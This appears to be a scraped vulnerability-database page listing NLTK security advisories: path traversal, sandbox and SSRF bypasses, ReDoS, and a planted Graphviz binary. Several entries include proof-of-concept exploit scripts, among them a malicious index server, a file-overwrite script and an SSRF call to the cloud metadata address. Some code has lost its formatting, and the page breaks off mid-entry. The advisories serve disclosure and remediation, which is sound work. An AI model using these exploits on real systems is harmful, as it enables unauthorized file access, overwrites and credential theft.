Python/nltk/3.2.1
Natural Language Toolkit
https://pypi.org/project/nltk
Apache-2.0
70 Security Vulnerabilities
Duplicate Advisory: ReDoS in nltk.text.Text.findall() via unvalidated user-supplied regular expressions
- https://github.com/nltk/nltk/security/advisories/GHSA-rrv8-h7p8-rx55
- https://nvd.nist.gov/vuln/detail/CVE-2026-80205
- https://www.vulncheck.com/advisories/nltk-before-3.10.0-redos-via-text-findall-unvalidated-regex
- http://www.openwall.com/lists/oss-security/2026/09/01/3
- https://github.com/advisories/GHSA-2rrw-hpqm-36pv
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-rrv8-h7p8-rx55. This link is maintained to preserve external references.
Original Description
NLTK versions before 3.10.0 contain a regular expression denial of service vulnerability in Text.findall() and TokenSearcher.findall() methods that accept user-supplied regular expressions without validation or timeout. Attackers can supply crafted regex patterns that cause catastrophic backtracking, resulting in indefinite CPU saturation and denial of service to all users of the Python process.
NLTK Vulnerable to REDoS
- https://nvd.nist.gov/vuln/detail/CVE-2021-3828
- https://github.com/advisories/GHSA-2ww3-fxvq-293j
- https://github.com/nltk/nltk/pull/2816
- https://github.com/nltk/nltk/commit/277711ab1dec729e626b27aab6fa35ea5efbd7e6
- https://huntr.dev/bounties/d19aed43-75bc-4a03-91a0-4d0bb516bc32
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2021-356.yaml
The nltk package is vulnerable to ReDoS (regular expression denial of service). An attacker that is able to provide as an input to the [_read_comparison_block()(https://github.com/nltk/nltk/blob/23f4b1c4b4006b0cb3ec278e801029557cec4e82/nltk/corpus/reader/comparative_sents.py#L259) function in the file nltk/corpus/reader/comparative_sents.py may cause an application to consume an excessive amount of CPU.
NLTK: Corpus Reader Sandbox Bypass
- https://github.com/nltk/nltk/security/advisories/GHSA-3gq4-3j92-5w49
- https://nvd.nist.gov/vuln/detail/CVE-2026-79674
- https://github.com/nltk/nltk/commit/bc007200d123c1a98d74c2eb230f5e06c53886b8
- https://github.com/nltk/nltk/releases/tag/v3.10.3
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3736.yaml
- https://www.vulncheck.com/advisories/nltk-path-traversal-via-corpus-reader-constructors
- https://github.com/advisories/GHSA-3gq4-3j92-5w49
Summary
NLTK corpus-reader constructors can still reach outside-root file and database reads before the nltk.pathsec sandbox boundary is enforced.
The PoC shows the safe path blocked by pathsec.open, then LinThesaurusCorpusReader and PanLexLiteCorpusReader succeeding in the same process.
Affected Product
- Product: NLTK
- Asset / component:
nltk.corpus.readerconstructors - Version tested:
3.10.2 - Deployment / package / tag: commit
474af1f5a94b1b8d53fc2b6defec3a2ce7633b74/ PyPInltk - Environment used for verification: Python 3.13.14
Vulnerability Details
- Vulnerability class: path sandbox bypass / external control of file path
- Required privileges: none beyond the ability to supply a corpus root path to a consumer call site
- Entry point:
LinThesaurusCorpusReader(root)andPanLexLiteCorpusReader(root) - Trust boundary crossed: NLTK data-root sandbox enforced by
nltk.pathsec - Root affected functions:
- Measured unsafe effect: outside-root file/database reads still happen with
ENFORCE=True
Root Cause
CorpusReader.__init__() turns a string root into a FileSystemPathPointer without any pathsec validation, and these readers then use builtin open() or sqlite3.connect() directly on derived paths. The constructor path therefore never hits the sandbox guard that pathsec.open() enforces.
if zipfile:
root = ZipFilePathPointer(zipfile, zipentry)
else:
root = FileSystemPathPointer(root)
with open(path) as lin_file:
...
self._c = sqlite3.connect(os.path.join(root, "db.sqlite")).cursor()
Proof of Concept
Save the script as hy01_raw_path_poc.py in the checkout root and run python hy01_raw_path_poc.py.
#!/usr/bin/env python3
"""PoC for HY-01: corpus-reader sandbox bypass.
This script proves three facts:
- pathsec blocks a direct read through the sandboxed file API
- LinThesaurusCorpusReader still reaches builtin open() on an outside path
- PanLexLiteCorpusReader still opens an outside sqlite database and loads data
"""
from __future__ import annotations
import builtins
import pathlib
import sqlite3
import sys
import tempfile
from unittest.mock import patch
try:
import nltk.pathsec as pathsec
from nltk.corpus.reader.lin import LinThesaurusCorpusReader
from nltk.corpus.reader.panlex_lite import PanLexLiteCorpusReader
except ModuleNotFoundError:
here = pathlib.Path(__file__).resolve()
for base in (here.parent, *here.parents):
if (base / "nltk").is_dir() and (base / "setup.py").exists():
sys.path.insert(0, str(base))
break
else:
raise RuntimeError(
"Could not import nltk. Run this script from an NLTK checkout root "
"or from an environment where the current checkout is installed."
)
import nltk.pathsec as pathsec
from nltk.corpus.reader.lin import LinThesaurusCorpusReader
from nltk.corpus.reader.panlex_lite import PanLexLiteCorpusReader
def main() -> int:
pathsec.ENFORCE = True
with patch.object(pathsec, "_get_allowed_roots", lambda: set()):
with patch.object(pathsec.os, "getcwd", lambda: "sandbox-disabled"):
with tempfile.TemporaryDirectory() as tmp:
tmpdir = pathlib.Path(tmp)
outside = tmpdir / "outside"
outside.mkdir()
blocked_file = outside / "blocked.txt"
blocked_file.write_text("blocked", encoding="utf-8")
control_target = str(blocked_file)
try:
with pathsec.open(control_target, "rb"):
raise AssertionError(
"pathsec.open unexpectedly allowed control path"
)
except PermissionError:
print("control:pathsec.open=blocked")
lin_root = tmpdir / "lin"
lin_root.mkdir()
lin_file = lin_root / "simN.lsp"
lin_file.write_text(
'("business" (desc 1.0)\n\t"enterprise"\t0.9\n))\n',
encoding="utf-8",
)
opened = []
real_open = builtins.open
def tracking_open(*args, **kwargs):
opened.append(str(args[0]))
return real_open(*args, **kwargs)
with patch("builtins.open", tracking_open):
LinThesaurusCorpusReader(str(lin_root))
if any(p.endswith("simN.lsp") for p in opened):
print("lin:outside_root_open=success")
else:
raise AssertionError("LinThesaurusCorpusReader did not open data")
panlex_root = tmpdir / "panlex"
panlex_root.mkdir()
db_path = panlex_root / "db.sqlite"
db = sqlite3.connect(db_path)
cur = db.cursor()
cur.execute("create table lv(uid text, lv text, lc text, tt text)")
cur.execute("create table dnx(ex int, mn int, uq int, ap int, ui text)")
cur.execute("create table ex(ex int, tt text, lv text, uq int)")
cur.execute(
"insert into lv(uid, lv, lc, tt) values ('u1', 'lv1', 'en', 'English')"
)
db.commit()
db.close()
reader = PanLexLiteCorpusReader(str(panlex_root))
result = reader.language_varieties()
if result == [("u1", "English")]:
print("panlex:language_varieties=success")
else:
raise AssertionError("PanLexLiteCorpusReader did not load data")
return 0
if __name__ == "__main__":
raise SystemExit(main())
Expected output:
control:pathsec.open=blocked
lin:outside_root_open=success
panlex:language_varieties=success
Impact
A caller can make NLTK read filesystem content outside the intended NLTK data sandbox through public corpus-reader constructors. In the PoC, that includes a local text file and a local SQLite db.
Severity
- Base Score: 7.5 (High)
- Severity reasoning: The bug is reliably triggerable by caller-controlled path input and exposes data outside the intended trust boundary; no special privileges are needed inside the process.
Remediation
Validate raw string roots before constructing readers, and route all corpus-root/path handling through pathsec or a validated PathPointer. Remove direct builtin open() and direct sqlite3.connect(os.path.join(...)) use on constructor-derived paths.
NLTK: SSRF Fail-Open in validate_network_url() via DNS Resolution Failure
- https://github.com/nltk/nltk/security/advisories/GHSA-3gqm-fcw5-w839
- https://nvd.nist.gov/vuln/detail/CVE-2026-63311
- https://github.com/nltk/nltk/pull/3582
- https://github.com/nltk/nltk/commit/4a820afa58810cd05049b6c6eae306694d6cfe65
- https://github.com/nltk/nltk/releases/tag/v3.10.0
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3723.yaml
- https://www.vulncheck.com/advisories/nltk-before-ssrf-via-dns-resolution-failure
- https://github.com/advisories/GHSA-3gqm-fcw5-w839
There is an SSRF vulnerability in NLTK 3.9.4's network URL validation. The validatenetworkurl() function in nltk/pathsec.py fails open when DNS resolution returns an error.
The resolvehostname() helper at lines 193-234 catches OSError and ValueError during socket.getaddrinfo() and returns an empty list []. When this happens, the validation loop in validatenetworkurl() iterates over nothing (for addr in resolved: ... never executes), with no else/fallback check. The function returns normally, and urlopen() proceeds to make the request without any IP validation.
This means: 1. If DNS is temporarily unavailable, ALL SSRF protections are disabled 2. DNS rebinding attacks bypass the check after the LRU cache entry expires 3. In environments with unreliable resolvers, the protection is permanently bypassed
PoC: ```python import nltk.pathsec import unittest.mock
Simulate DNS failure
with unittest.mock.patch('socket.getaddrinfo', sideeffect=OSError('DNS unavailable')): # This SHOULD raise but doesn't -- fails open nltk.pathsec.validatenetwork_url('http://169.254.169.254/latest/meta-data/') # Returns normally, allowing SSRF to cloud metadata ```
The correct behavior is fail-closed: if DNS resolution fails, the URL should be REJECTED (not allowed). The function should raise an exception or return a failure status when resolvehostname() returns an empty list.
This is distinct from CVE-2024-39705 (which addressed pickle deserialization) and CVE-2026-33236 (which addressed XML path traversal). This finding targets the newly-added pathsec.py security layer introduced to fix those earlier issues.
Suggested fix: Add an explicit check after resolvehostname() returns: if the result is empty, raise a SecurityError. Never allow a URL request to proceed when IP validation was impossible.
CVSS Note: The CVSS use SC:H (High subsequent confidentiality) because the advisory explicitly identifies cloud metadata endpoints (169.254.169.254) as an attack target. Access to AWS IMDS or GCP metadata exposes credentials or service account tokens, which constitutes High-impact disclosure on downstream systems. This justifies SC:H over NVD's SC:L.
Duplicate Advisory: JVM argument injection bypass via per-call options in the NLTK Stanford wrappers (incomplete fix of CVE-2026-12841)
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-m4rf-3fr8-xwx3. This link is maintained to preserve external references.
Original Description
NLTK before 3.10.3 fails to validate JVM options passed through the per-call options parameter in the java() function, allowing attackers to inject dangerous JVM flags. Attackers can supply malicious options like -agentpath, -javaagent, or @argfile to Stanford wrapper classes to achieve arbitrary code execution.
Duplicate Advisory: Pl196xCorpusReader has quadratic ReDoS on malformed TEI blocks
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-8mpw-7fpc-4gqj. This link is maintained to preserve external references.
Original Description
NLTK before 3.10.3 contains a regular expression denial of service vulnerability in Pl196xCorpusReader that allows attackers to cause quadratic CPU consumption by supplying malformed TEI blocks with many unmatched opening tags. Attackers can exploit lazy regex patterns in the readblock method through public APIs like words() and taggedwords() to force repeated rescans and achieve near-quadratic runtime growth.
NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite
Vulnerability Description
The NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to:
- Arbitrary Directory Creation: Create directories at arbitrary locations in the file system
- Arbitrary File Creation: Create arbitrary files
- Arbitrary File Overwrite: Overwrite critical system files (such as
/etc/passwd,~/.ssh/authorized_keys, etc.)
Vulnerability Principle
Key Code Locations
1. XML Parsing Without Validation (nltk/downloader.py:253) python self.filename = os.path.join(subdir, id + ext) - subdir and id are directly from XML attributes without any validation
2. Path Construction Without Checks (nltk/downloader.py:679) python filepath = os.path.join(download_dir, info.filename) - Directly uses filename which may contain path traversal
3. Unrestricted Directory Creation (nltk/downloader.py:687) python os.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True) - Can create arbitrary directories outside the download directory
4. File Writing Without Protection (nltk/downloader.py:695) python with open(filepath, "wb") as outfile: - Can write to arbitrary locations in the file system
Attack Chain
1. Attacker controls remote XML index server
↓
2. Provides malicious XML: <package id="passwd" subdir="../../etc" .../>
↓
3. Victim executes: downloader.download('passwd')
↓
4. Package.fromxml() creates object, filename = "../../etc/passwd.zip"
↓
5. _download_package() constructs path: download_dir + "../../etc/passwd.zip"
↓
6. os.makedirs() creates directory: download_dir + "../../etc"
↓
7. open(filepath, "wb") writes file to /etc/passwd.zip
↓
8. System file is overwritten!
Impact Scope
- System File Overwrite
Reproduction Steps
Environment Setup
Install NLTK
bash pip install nltkPrepare malicious server and exploit script (see PoC section)
Reproduction Process
Step 1: Start malicious server bash python3 malicious_server.py
Step 2: Run exploit script bash python3 exploit_vulnerability.py
Step 3: Verify results bash ls -la /tmp/test_file.zip
Proof of Concept
Malicious Server (malicious_server.py)
#!/usr/bin/env python3
"""Malicious HTTP Server - Provides XML index with path traversal"""
import os
import tempfile
import zipfile
from http.server import HTTPServer, BaseHTTPRequestHandler
# Create temporary directory
server_dir = tempfile.mkdtemp(prefix="nltk_malicious_")
# Create malicious XML (contains path traversal)
malicious_xml = """<?xml version="1.0"?>
<nltk_data>
<packages>
<package id="test_file" subdir="../../../../../../../../../tmp"
url="http://127.0.0.1:8888/test.zip"
size="100" unzipped_size="100" unzip="0"/>
</packages>
</nltk_data>
"""
# Save files
with open(os.path.join(server_dir, "malicious_index.xml"), "w") as f:
f.write(malicious_xml)
with zipfile.ZipFile(os.path.join(server_dir, "test.zip"), "w") as zf:
zf.writestr("test.txt", "Path traversal attack!")
# HTTP Handler
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/malicious_index.xml':
self.send_response(200)
self.send_header('Content-type', 'application/xml')
self.end_headers()
with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f:
self.wfile.write(f.read())
elif self.path == '/test.zip':
self.send_response(200)
self.send_header('Content-type', 'application/zip')
self.end_headers()
with open(os.path.join(server_dir, 'test.zip'), 'rb') as f:
self.wfile.write(f.read())
else:
self.send_response(404)
self.end_headers()
def log_message(self, format, *args):
pass
# Start server
if __name__ == "__main__":
port = 8888
server = HTTPServer(("0.0.0.0", port), Handler)
print(f"Malicious server started: http://127.0.0.1:{port}/malicious_index.xml")
print("Press Ctrl+C to stop")
try:
server.serve_forever()
except KeyboardInterrupt:
print("\nServer stopped")
Exploit Script (exploit_vulnerability.py)
#!/usr/bin/env python3
"""AFO Vulnerability Exploit Script"""
import os
import tempfile
def exploit(server_url="http://127.0.0.1:8888/malicious_index.xml"):
download_dir = tempfile.mkdtemp(prefix="nltk_exploit_")
print(f"Download directory: {download_dir}")
# Exploit vulnerability
from nltk.downloader import Downloader
downloader = Downloader(server_index_url=server_url, download_dir=download_dir)
downloader.download("test_file", quiet=True)
# Check results
expected_path = "/tmp/test_file.zip"
if os.path.exists(expected_path):
print(f"\n✗ Exploit successful! File written to: {expected_path}")
print(f"✗ Path traversal attack successful!")
else:
print(f"\n? File not found, download may have failed")
if __name__ == "__main__":
exploit()
Execution Results
✗ Exploit successful! File written to: /tmp/test_file.zip
✗ Path traversal attack successful!
Duplicate Advisory: Downloader.download follows hardlinks and overwrites outside-root files
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-f794-5jv7-7672. This link is maintained to preserve external references.
Original Description
NLTK versions before 3.10.3 contain a filesystem containment bypass vulnerability in the Downloader.download and Downloader.incr_download methods that allows attackers to overwrite files outside the install root through pre-existing hardlinks. Attackers with write access to a shared downloader directory can create hardlinks pointing to outside-root files that are then overwritten during normal package extraction, mutating files outside the intended install tree.
Duplicate Advisory: Uncontrolled search path when invoking the Graphviz 'dot' binary (CWE-426/CWE-427)
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-6hwm-xvph-95vm. This link is maintained to preserve external references.
Original Description
NLTK versions before 3.10.3 fail to use validated absolute paths when invoking the Graphviz dot binary in dependencygraph.dot2img and AlignedSent.reprsvg_, allowing attackers to execute arbitrary code by placing a malicious dot binary in the search path or current working directory. Attackers can exploit bare-name binary resolution on Windows via the current working directory or on Unix-like systems via relative PATH entries to execute their binary instead of the legitimate Graphviz tool.
NLTK: Stable FrameNet and NKJP readers parse outside-root XML
- https://github.com/nltk/nltk/security/advisories/GHSA-568f-pv23-39p4
- https://nvd.nist.gov/vuln/detail/CVE-2026-62385
- https://github.com/nltk/nltk/pull/3579
- https://github.com/nltk/nltk/pull/3581
- https://github.com/nltk/nltk/commit/7d1389d0789c1eca56bd0ed444089e0a3972e3ed
- https://github.com/nltk/nltk/commit/bf3bf32786791394a1008258b4917a7f2d4dbcda
- https://github.com/nltk/nltk/releases/tag/v3.10.0
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3728.yaml
- https://www.vulncheck.com/advisories/nltk-path-traversal-via-framenet-and-nkjp-readers
- https://github.com/advisories/GHSA-568f-pv23-39p4
Summary
Published nltk==3.9.4 still contains several XML-reader entrypoints that build parser paths from caller-controlled selectors or trusted-looking index state without preserving the corpus-root boundary.
Details
- Vulnerability type: Path traversal and trusted-root bypass
- Affected component:
FramenetCorpusReader.frame_by_name,FramenetCorpusReader.doc,FramenetCorpusReader.lu,NKJPCorpusReader.header - Affected versions: Published
3.9.4reproduced. Current sourcev3.10.0-rc2acted as a negative control and blocked the same payloads. - Patched versions: Patched in version 3.10.0, which includes the path-safety rejections seen in the release candidate.
- Root cause: Stable reader paths still construct raw XML filenames from unsafe selectors, poisoned index state, or unsafe file identifiers.
I confirmed four public stable entrypoints return parsed outside-root content: a parent-segment traversal frame name, a poisoned fulltext index filename, a poisoned LU id, and an unsafe NKJP header file identifier. Current source rejects the same payloads with explicit path-safety errors, which shows the bug is real but version-scoped to the published stable package.
PoC
Preconditions - The application exposes FrameNet or NKJP reader APIs while trusting NLTK to keep XML parsing inside a corpus root.
Steps 1. Create a minimal FrameNet or NKJP corpus root and place attacker-chosen XML files outside that root. 2. Feed unsafe selectors or poisoned index state into the relevant public stable 3.9.4 APIs. 3. Observe frame_by_name, doc, lu(...).exemplars, or header return parsed outside-root values. 4. Run the same payloads against current source and observe explicit path-safety rejections.
Minimal reproducible excerpt
framenet_frame_definition FRAME_LEAK
framenet_doc_text DOC_LEAK
framenet_lu_text LU_LEAK
nkjp_header_title HEADER_LEAK
Impact
Applications that process attacker-influenced FrameNet or NKJP corpus selectors or state can be made to parse XML outside the trusted corpus root through normal public reader responses.
Remediation
Keep these reader paths on the same root-confinement model as CorpusReader.open() and nltk.pathsec. Reject unsafe path components before constructing filenames from frame names, document filenames, LU ids, or NKJP file identifiers.
Resources
- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/framenet.py#L1366-L1369
- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/framenet.py#L1456-L1460
- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/framenet.py#L1803-L1810
- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/nkjp.py#L96-L103
- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/nkjp.py#L251-L256
- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/corpus/reader/framenet.py#L1388-L1399
- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/corpus/reader/nkjp.py#L96-L128
NLTK: Missing Post-Download Integrity Verification Allows Malicious Package Injection
- https://github.com/nltk/nltk/security/advisories/GHSA-5wp5-5229-5g6q
- https://nvd.nist.gov/vuln/detail/CVE-2026-12259
- https://github.com/nltk/nltk/pull/3449
- https://github.com/nltk/nltk/commit/0e26734a61094b628d93e26dc18dd7302567ac46
- https://github.com/nltk/nltk/releases/tag/3.9.3
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3729.yaml
- https://huntr.com/bounties/659ccf6d-12d4-4d4a-84c0-078633c35a5d
- https://www.vulncheck.com/advisories/nltk-before-missing-post-download-integrity-verification
- https://github.com/advisories/GHSA-5wp5-5229-5g6q
NLTK's package downloader in nltk/downloader.py does not verify file integrity after download and before extraction.
The download flow at lines 789-825: 1. File is downloaded to a temp path via HTTP 2. os.replace(tmpfilepath, filepath) moves it to the final location (line 799) 3. Extraction begins via _unzipiter() (line 825)
Between steps 2 and 3, there is no SHA-256 verification. The checksum logic exists in pkgstatus() (lines 982-1015) but it is only used BEFORE download as a status check (is this package already installed and up-to-date?
). It is never called after download to verify the file that was actually received.
Attack vectors: 1. MITM during HTTP download (NLTK downloads from http:// by default on some mirrors) 2. Race condition on shared filesystems (attacker replaces file between os.replace and unzipiter) 3. DNS poisoning redirecting to attacker-controlled server
PoC: ```python import nltk import unittest.mock import zipfile import io import os
Create a malicious zip that will be downloaded
maliciouszip = io.BytesIO() with zipfile.ZipFile(maliciouszip, 'w') as zf: zf.writestr('punkttab/tokenizers/punkttab/english.pickle', b'MALICIOUS PAYLOAD - attacker controlled content')
Patch urllib to return our malicious zip
with unittest.mock.patch('urllib.request.urlopen') as mockurlopen: mockresponse = unittest.mock.MagicMock() mockresponse.read.returnvalue = maliciouszip.getvalue() mockresponse.headers = {'Content-Length': str(len(maliciouszip.getvalue()))} mockurlopen.returnvalue = mockresponse
# Download proceeds, no integrity check catches the swap
# nltk.download('punkt_tab') # Would install attacker payload
This is distinct from CVE-2024-39705 (pickle deserialization via download) and CVE-2025-14009 (zip-slip path traversal). Those address what happens AFTER extraction. This finding addresses the gap BEFORE extraction where integrity is never verified.
Suggested fix: After os.replace() and before _unzip_iter(), compute SHA-256 of the final file and compare against the expected checksum from the package index. Reject and delete the file if the hash does not match.
NLTK has a Path Traversal issue
A vulnerability in NLTK versions up to and including 3.9.2 allows arbitrary file read via path traversal in multiple CorpusReader classes, including WordListCorpusReader, TaggedCorpusReader, and BracketParseCorpusReader. These classes fail to properly sanitize or validate file paths, enabling attackers to traverse directories and access sensitive files on the server. This issue is particularly critical in scenarios where user-controlled file inputs are processed, such as in machine learning APIs, chatbots, or NLP pipelines. Exploitation of this vulnerability can lead to unauthorized access to sensitive files, including system files, SSH private keys, and API tokens, and may potentially escalate to remote code execution when combined with other vulnerabilities.
Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)
Summary
A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can influence the fileids argument of its public read methods (header, raw, words, sents, tagged_words) to read files outside the corpus root. The reader builds the file path with no containment check and opens it with the builtin open(), so it bypasses NLTK's nltk.pathsec sandbox — including the strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant deployments. header() returns the parsed content of the out-of-root file to the caller (arbitrary file read).
### Details SECURITY.md promises that file access is validated against allowed NLTK data directories
and that with nltk.pathsec.ENFORCE = True unauthorized file access … will raise `PermissionError`.
That guarantee is enforced via FileSystemPathPointer.open() / CorpusReader.open(), which call nltk.pathsec.validate_path(...).
NKJPCorpusReader never uses that protected path. In nltk/corpus/reader/nkjp.py:
add_root()builds the path by plain string concatenation with no normalization or containment check:python def add_root(self, fileid): # lines 96-102 if self.root in fileid: return fileid # attacker-controlled value returned unchanged return self.root + fileid # plain concat, '..' not stripped- The header view appends a fixed basename and passes the string straight into the corpus view (which opens it with the builtin
open()):python class NKJPCorpus_Header_View(XMLCorpusView): # line 181 def __init__(self, filename, **kwargs): XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec) # line 189 - The other modes reach the filesystem through
XML_Tool, which uses a rawos.path.join(not the hardenedFileSystemPathPointer.join()) and the builtinopen():python class XML_Tool: # line 243 def __init__(self, root, filename): self.read_file = os.path.join(root, filename) # line 251 def build_preprocessed_file(self): fr = open(self.read_file) # line 256 — pathsec never consulted
Because open() is the builtin (not PathPointer.open()), the pathsec sentinel is never invoked, so ENFORCE = True does not block the access. For comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222) rejects ../absolute fileids and calls validate_path(..., required_root=...) before opening — NKJPCorpusReader simply does not go through it.
### PoC Tested against nltk==3.9.4 (latest PyPI release) and current develop.
pip install "nltk==3.9.4"
python3 poc.py
poc.py: ```python import builtins, os, shutil, tempfile, warnings warnings.simplefilter(ignore
) import nltk, nltk.pathsec as pathsec from nltk.corpus.reader.nkjp import NKJPCorpusReader
print(nltk
, nltk.version)
# A legitimate, empty NKJP corpus root (what a real app has). root = tempfile.mkdtemp(prefix=nkjp_corpus_root_
) os.makedirs(os.path.join(root, sample
), exist_ok=True) open(os.path.join(root, sample
, header.xml
), w
).write(
)
# The attacker's target: a file OUTSIDE the corpus root. secretdir = tempfile.mkdtemp(prefix="OUTSIDEROOT") open(os.path.join(secretdir, header.xml
), w
).write(
)
# Enable the strict mode SECURITY.md recommends for web / multi-tenant. pathsec.ENFORCE = True print(ENFORCE =
, pathsec.ENFORCE)
# Prove the out-of-root read and that pathsec is never consulted. opened = []; real = builtins.open builtins.open = lambda f, a, *k: (opened.append(str(f)), real(f, a, *k))[1]
reader = NKJPCorpusReader(root=root + /
, fileids=sample
) # Attacker-controlled fileids; '..' escapes the corpus root: evil = root + /../../../../../../..
+ secret_dir + /
try: result = reader.header(fileids=[evil]) finally: builtins.open = real
print(opened outside root:
, [p for p in opened if OUTSIDE_ROOT_
in p][:1]) print(disclosed content :
, result[0][title
]) shutil.rmtree(root, ignoreerrors=True); shutil.rmtree(secretdir, ignore_errors=True) ```
Output (unmodified): nltk 3.9.4 ENFORCE = True opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml'] disclosed content : SECRET-API-KEY=sk-live-DEADBEEF With ENFORCE = True, NLTK opened a file outside the corpus root via the builtin open() (no PermissionError, no warning) and returned its content.
### Impact This is a path traversal (CWE-22) leading to arbitrary file read. Any application that passes attacker-influenced values into NKJPCorpusReader's fileids (e.g. letting a user choose which corpus document to read) is affected; the attacker can escape the corpus root and read files elsewhere on the host, defeating the ENFORCE=True sandbox.
Honest scoping: header() discloses the content of out-of-root files named header.xml containing NKJP header XML. raw()/words()/sents() also open and read an arbitrary out-of-root file (proven by intercepting open()), but a separate pre-existing bug in XML_Tool (writing str to a binary NamedTemporaryFile) suppresses their return value on current Python, so for those modes the impact is arbitrary file open/read. The attacker chooses the directory freely; a fixed basename is appended per mode. The same build-path-then-builtin-open, skipping pathsec
anti-pattern also appears in xmldocs.py:161, util.py:212,215, crubadan.py:78,97, lin.py:43, ipipan.py:191, pl196x.py:110 and is worth fixing as a class.
NLTK: Uncontrolled search path when invoking the Graphviz 'dot' binary
- https://github.com/nltk/nltk/security/advisories/GHSA-6hwm-xvph-95vm
- https://nvd.nist.gov/vuln/detail/CVE-2026-78680
- https://github.com/nltk/nltk/commit/1a3cd1764ab3deb084fb66d0ffb4873717659538
- https://github.com/nltk/nltk/releases/tag/v3.10.3
- https://www.vulncheck.com/advisories/nltk-before-arbitrary-code-execution-via-graphviz-dot-binary
- https://github.com/advisories/GHSA-6hwm-xvph-95vm
Two NLTK sites executed the Graphviz dot program by bare name, so process creation resolved it via the search path — and on Windows via the current working directory — rather than a validated absolute location. An attacker who can place a file named dot where resolution looks (the CWD on Windows, or a writable/relative entry such as . on PATH) has their binary executed in place of Graphviz (arbitrary code execution).
Affected (<= 3.10.2): - nltk.parse.dependencygraph.dot2img — called find_binary("dot") but discarded the returned validated path and then ran the bare name ["dot", ...], so the validation had no effect. - nltk.translate.api.AlignedSent._repr_svg_ — ran the bare name with no validation at all (IPython SVG rendering).
This is the same class already fixed for the senna, weka, boxer, malt, repp and hunpos wrappers. nltk.internals.find_binary refuses a CWD-relative match for a bare tool name and returns only a trusted absolute path; the fix runs that path in both sites.
Attack demonstration
Captured output, not illustrative. A ./dot that writes a PWNED marker, planted in the CWD with . prepended to PATH.
The vulnerable behaviour (old bare-name exec): Control (OLD behavior) — bare ['dot'] in this dir with '.' on PATH: bare ['dot'] executed planted binary = True
The patched functions refuse it: FIXED code, with ./dot planted and '.' on PATH: dependencygraph.dot2img : Exception "Cannot find the dot binary..." | planted-binary-executed=False safe AlignedSent._repr_svg_ : Exception "Cannot find the dot binary..." | planted-binary-executed=False safe
And find_binary itself was attacked directly (the fix trusts nothing else): Attack 1: ./dot in CWD, no dot on PATH -> LookupError (refused) safe Attack 2: ./dot/dot (dir 'dot' holding 'dot') -> LookupError (refused) safe Attack 3: '.' on PATH + ./dot -> LookupError (refused) safe Attack 4: attacker-writable ABSOLUTE dir on PATH -> returned /…/evilbin/dot (absolute) Attack 4 is out of scope: trusting an absolute directory that is already on PATH is the operating system's own trust model — an attacker who can write to a PATH directory owns the account regardless of NLTK. find_binary defends specifically against the CWD/relative injection that bare-name exec is vulnerable to (attacks 1–3), which is exactly what this fix inherits.
Environment: python 3.13.7. dot is not required to reproduce — the planted binary is the payload.
NLTK: pathsec SSRF protection can be bypassed when a proxy is configured
- https://github.com/nltk/nltk/security/advisories/GHSA-6ww7-3frv-cqxh
- https://nvd.nist.gov/vuln/detail/CVE-2026-78682
- https://github.com/nltk/nltk/commit/767333a005a1cd3d82d2029215f2dbe66a5844d9
- https://github.com/nltk/nltk/releases/tag/v3.10.3
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3733.yaml
- https://www.vulncheck.com/advisories/nltk-before-ssrf-protection-bypass-via-proxy
- https://github.com/advisories/GHSA-6ww7-3frv-cqxh
Summary
Current NLTK source reopens SSRF in proxied environments. pathsec.urlopen() validates the requested hostname locally, but once proxy inheritance is enabled the real fetch is performed by the proxy rather than by the validated direct-connect socket path.
Details
- Vulnerability type: Server-side request forgery
- Affected component:
nltk.pathsec.urlopen,nltk.data.load,nltk.downloader.Downloader.index,nltk.downloader.Downloader.download - Affected versions: Current source
v3.10.0-rc2; published3.9.4was a negative control and did not reproduce. - Patched versions: Not yet patched
- Root cause: Proxy-handler inheritance disables
_SafeHTTPHandlerand_SafeHTTPSHandler, so the validated hostname no longer matches the actual egress destination.
The hardened direct path pins the validated numeric destination IP before opening the socket. The proxied branch instead copies ProxyHandler instances from the global opener, marks the request as proxied, and skips the pinned handlers. I confirmed that a validated public URL can be fetched from a loopback-only internal service through the proxy path via pathsec.urlopen(), nltk.data.load(), Downloader.index(), and Downloader.download().
PoC
Preconditions - The runtime has an HTTP proxy configured and the caller relies on pathsec to keep network fetches SSRF-safe.
Steps 1. Start a loopback-only HTTP server that serves secret text, a valid downloader index, and a ZIP payload. 2. Configure a proxy that forwards a validated public URL to that internal loopback service. 3. Call pathsec.urlopen() or nltk.data.load() on the public URL and observe the internal response is returned. 4. Instantiate Downloader(server_index_url=...), call index() and download(), and observe internal-only content is parsed and installed.
Minimal reproducible excerpt
